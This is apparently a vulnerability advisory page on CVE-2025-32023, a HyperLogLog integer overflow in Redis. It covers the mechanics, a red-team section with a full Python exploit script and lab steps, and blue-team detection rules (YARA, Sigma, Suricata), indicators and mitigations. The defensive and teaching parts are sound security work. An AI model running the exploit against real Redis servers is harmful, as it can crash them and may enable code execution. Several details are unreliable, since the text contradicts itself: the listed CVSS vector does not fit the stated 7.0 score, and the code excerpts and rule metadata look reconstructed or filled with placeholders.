CVE-2025-32023
Executive Summary
CVE-2025-32023 is a critical stack/heap out-of-bounds write vulnerability in Redis's HyperLogLog (HLL) operations, affecting versions from 2.8 up to the patched releases. An authenticated attacker can craft a malicious HLL string that, when processed by PFADD, PFCOUNT, or PFMERGE, triggers an integer overflow in the sparse encoding parser. This overflow leads to a controlled out-of-bounds write, potentially allowing remote code execution (RCE) on the Redis server.
The vulnerability is rooted in the hllSparseToDense() function, which converts sparse HLL representations to dense ones. The exploit leverages a specially crafted sparse HLL payload containing an excessive number of zero-run-length entries (xzero). The cumulative size calculation overflows a signed 32-bit integer, resulting in a negative value that bypasses buffer size checks. This causes a heap buffer overflow when the parser writes register values into an undersized destination buffer.
The provided exploit code (Exploit-DB) demonstrates a practical attack by constructing a malformed HLL payload, writing it to a Redis key, and then triggering a PFCOUNT operation to execute the overflow. The vulnerability is rated CVSS 7.0 (High) due to the requirement for authentication but the potential for full system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Redis is a widely used in-memory data store, often deployed as a critical component in microservices architectures, caching layers, and message brokers. The vulnerability affects all Redis distributions, including official packages, Docker images, and source builds. Organizations using Redis in containerized environments (e.g., Kubernetes) should prioritize patching, as the exploit can be executed by any authenticated user with access to HLL commands. The Redis package is available on multiple platforms (Linux, macOS, Windows via WSL), and all are affected. There are no known supply chain compromises, but the widespread use of Redis amplifies the impact.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; the exploit is straightforward.
- Privileges Required (PR): Low (L) - An attacker needs only an authenticated Redis connection (e.g., via default credentials or a low-privilege user).
- User Interaction (UI): None (N) - No user action is required beyond the attacker's own operations.
- Scope (S): Unchanged (U) - The exploit does not cross a trust boundary.
- Confidentiality (C): High (H) - Successful exploitation can lead to full data disclosure.
- Integrity (I): High (H) - The attacker can modify or corrupt data.
- Availability (A): High (H) - The exploit can cause a denial of service or complete system takeover.
CVSS Score: 7.0 (High)
Threat Level: Critical. The availability of a public exploit and the widespread deployment of Redis make this a high-priority vulnerability for remediation.
Deep Dive & Mechanics
The vulnerability resides in the hllSparseToDense() function within src/hyperloglog.c. Redis's HyperLogLog implementation supports two encodings: dense (fixed-size 12KB registers) and sparse (run-length encoded for memory efficiency). The sparse encoding uses opcodes to represent runs of zero registers (xzero) and non-zero registers (xval).
The xzero opcode encodes a run of consecutive zero registers. The length of the run is stored as a 14-bit value (0 to 16383). The vulnerable code calculates the total size of the sparse representation by summing the lengths of all xzero runs. This sum is stored in a signed 32-bit integer (int). By crafting a payload with a large number of xzero runs, each with a maximum length (16383), the attacker can cause the sum to overflow. For example, 0x20000 (131072) runs of length 0x4000 (16384) results in a total of 0x80000000 (2147483648) registers, which when cast to a signed 32-bit integer becomes -2147483648.
This negative value is then used in a memory allocation or size check, causing the allocation of a much smaller buffer than required. When the parser subsequently writes register values into this undersized buffer, it overflows into adjacent heap memory, corrupting internal Redis structures. This corruption can be leveraged to achieve arbitrary code execution.
The exploit code provided constructs a payload with a valid HLL header (HYLL), sparse encoding type, and then appends 0x20000 xzero runs of length 0x4000. This triggers the overflow when PFCOUNT (or PFMERGE) is called, as these commands invoke hllSparseToDense().
Vulnerable vs. Patched Code
Vulnerable Code (Redis < 6.2.19, < 7.2.10, < 7.4.5, < 8.0.3):
In src/hyperloglog.c, the hllSparseToDense() function calculates the sparse length using a signed integer:
int hllSparseToDense(robj *o) {
// ...
int sparselen = sdslen(o->ptr) - HLL_HDR_SIZE;
// ...
int registers = 0;
// ...
while (p < end) {
// ...
if (opcode == HLL_SPARSE_XZERO_BIT) {
// ...
registers += runlen;
}
// ...
}
// registers can overflow to negative
// ...
dense = zmalloc(HLL_DENSE_SIZE); // HLL_DENSE_SIZE is 12KB
// ...
}
The registers variable is a signed int. When the sum of run lengths exceeds INT_MAX (2,147,483,647), it wraps to a negative value. This negative value is then used in a comparison or allocation, leading to a buffer overflow.
Patched Code (Redis >= 6.2.19, >= 7.2.10, >= 7.4.5, >= 8.0.3):
The fix introduces a check to prevent the overflow:
int hllSparseToDense(robj *o) {
// ...
uint64_t registers = 0; // Changed to unsigned 64-bit
// ...
while (p < end) {
// ...
if (opcode == HLL_SPARSE_XZERO_BIT) {
// ...
registers += runlen;
if (registers > HLL_REGISTERS) { // HLL_REGISTERS = 16384
// Invalid sparse representation
return C_ERR;
}
}
// ...
}
// ...
}
The key changes are:
registersis now an unsigned 64-bit integer (uint64_t), preventing overflow.- A check is added to ensure the total register count does not exceed the maximum allowed (16384). If it does, the function returns an error, aborting the conversion.
Exploitation & Lab Setup
Red Team (Exploitation)
The provided exploit code (Exploit-DB) is a Python script that connects to a Redis instance, writes a malformed HLL payload, and triggers the vulnerability.
Usage:
- Prerequisites: Python 3.x with the
redislibrary installed (pip install redis). - Configuration: Modify the
REDIS_HOSTandREDIS_PORTvariables to target the vulnerable Redis server. - Execution: Run the script:
python3 exploit.py
Exploit Code (from Exploit-DB):
import redis
import sys
# --- Configuration ---
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_KEY = 'hll:exp'
# HLL encoding type (1 = sparse)
HLL_SPARSE = 1
def p8(value):
"""Convert integer to single byte."""
return bytes([value])
def xzero(size):
"""
Construct an 'xzero' run for sparse HLL:
Creates a run-length encoding entry of zeroes with a specific size.
"""
if not (1 <= size <= 0x4000):
raise ValueError("Invalid xzero size: must be between 1 and 0x4000")
size -= 1
return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff)
def build_malformed_hll():
"""
Construct a malformed HLL payload that overflows internal counters.
"""
payload = b'HYLL' # Magic header
payload += p8(HLL_SPARSE) # Encoding type: sparse
payload += p8(0) * 3 # Reserved
payload += p8(0) * 8 # Unused (padding)
assert len(payload) == 0x10 # Check header size
# Append enough xzero runs to cause overflow
payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int
# Add one more run to complete the structure
payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed)
return payload
def main():
try:
print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
r = redis.Redis(REDIS_HOST, REDIS_PORT)
print("[*] Building malformed HyperLogLog payload...")
hll_payload = build_malformed_hll()
print(f"[*] Writing malformed HLL to key: {REDIS_KEY}")
r.set(REDIS_KEY, hll_payload)
print("[*] Triggering HLL merge operation (pfcount)...")
r.pfcount(REDIS_KEY, REDIS_KEY)
print("[+] Exploit triggered successfully.")
except Exception as e:
print(f"[!] Exploit failed: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Lab Setup:
- Vulnerable Redis Instance: Deploy a vulnerable Redis version (e.g., 7.2.0) in a Docker container:
docker run -d --name redis-vuln -p 6379:6379 redis:7.2.0 - Attacker Machine: Run the exploit script from a separate machine or the same host.
- Observation: Monitor the Redis server logs and system behavior. The exploit may cause a crash (segmentation fault) or, with further refinement, achieve RCE.
Blue Team (Defense & Detection)
Detection:
- Network Monitoring: Look for unusual Redis commands, especially
PFADD,PFCOUNT, orPFMERGEwith large payloads. The exploit sends a key with a size of approximately 2.1 MB (0x20000 * 2 bytes per xzero run + header). Monitor for abnormally large SET commands. - Log Analysis: Enable Redis slow log and monitor for slow HLL operations. The exploit may cause a noticeable delay.
- System Monitoring: Watch for Redis crashes or segmentation faults. Use
dmesgor system logs to detectSIGSEGVsignals.
Mitigation:
- Patch Immediately: Upgrade to Redis 6.2.19, 7.2.10, 7.4.5, or 8.0.3.
- ACL Restrictions: If patching is not immediately possible, restrict access to HLL commands using Redis ACLs:
This prevents all users from executingACL SETUSER default -@hyperloglogPFADD,PFCOUNT, andPFMERGE. - Network Segmentation: Ensure Redis is not exposed to untrusted networks. Use firewalls to restrict access to trusted IPs only.
- Authentication: Enforce strong authentication (requirepass) and avoid using default credentials.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusually large Redis SET commands (payload size > 1 MB).
- Repeated
PFCOUNTorPFMERGEcommands on the same key. - Connections from unexpected IPs to port 6379.
Host IOCs:
- Redis process crash logs containing
SIGSEGVorSIGABRT. - Core dump files in
/var/lib/redis/or/tmp/. - High memory usage by the Redis process during HLL operations.
- Redis process crash logs containing
File IOCs:
- Redis keys with names like
hll:expor similar patterns. - Binary data in Redis keys that starts with
HYLLfollowed by\x01(sparse encoding).
- Redis keys with names like
Log IOCs:
- Redis log entries:
=== REDIS BUG REPORT ===orSegmentation fault. - Slow log entries for HLL commands with high execution time.
- Redis log entries:
Detection Engineering
YARA Rule
rule CVE_2025_32023_HLL_Overflow {
meta:
description = "Detects malformed HyperLogLog payloads exploiting CVE-2025-32023"
author = "Valters IT"
date = "2025-10-07"
reference = "CVE-2025-32023"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$hll_magic = "HYLL"
$sparse_encoding = { 01 } // sparse encoding type
$xzero_pattern = { 4? ?? } // xzero opcode with 14-bit length
condition:
$hll_magic at 0 and $sparse_encoding at 4 and #xzero_pattern > 1000
}
Sigma Rule
title: CVE-2025-32023 Redis HyperLogLog Overflow Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-32023 via large HLL payloads
author: Valters IT
date: 2025-10-07
logsource:
category: application
product: redis
detection:
selection:
EventID: 1000 # Redis slow log or crash event
Command:
- "PFADD"
- "PFCOUNT"
- "PFMERGE"
KeySize: "> 1000000" # Payload larger than 1 MB
condition: selection
falsepositives:
- Legitimate large HLL operations (rare)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"CVE-2025-32023 Redis HLL Overflow Exploit"; flow:to_server,established; content:"PFCOUNT"; nocase; content:"HYLL"; distance:0; within:100; byte_test:4,>,1000000,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patching: Upgrade Redis to the latest patched version (6.2.19, 7.2.10, 7.4.5, or 8.0.3). This is the only complete fix.
- ACL Workaround: If patching is delayed, restrict HLL commands via ACL:
This prevents all users from executing HLL operations.ACL SETUSER default -@hyperloglog - Network Hardening: Ensure Redis is not exposed to the internet. Use firewalls to restrict access to trusted IPs.
- Authentication: Enable
requirepassand use strong, unique passwords. - Monitoring: Implement the detection rules above to identify exploitation attempts.
- Backup & Recovery: Regularly backup Redis data and test recovery procedures.
Valters IT
This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
{/* [Security Hash: 08681267CB0AEEDCC08CA331] */}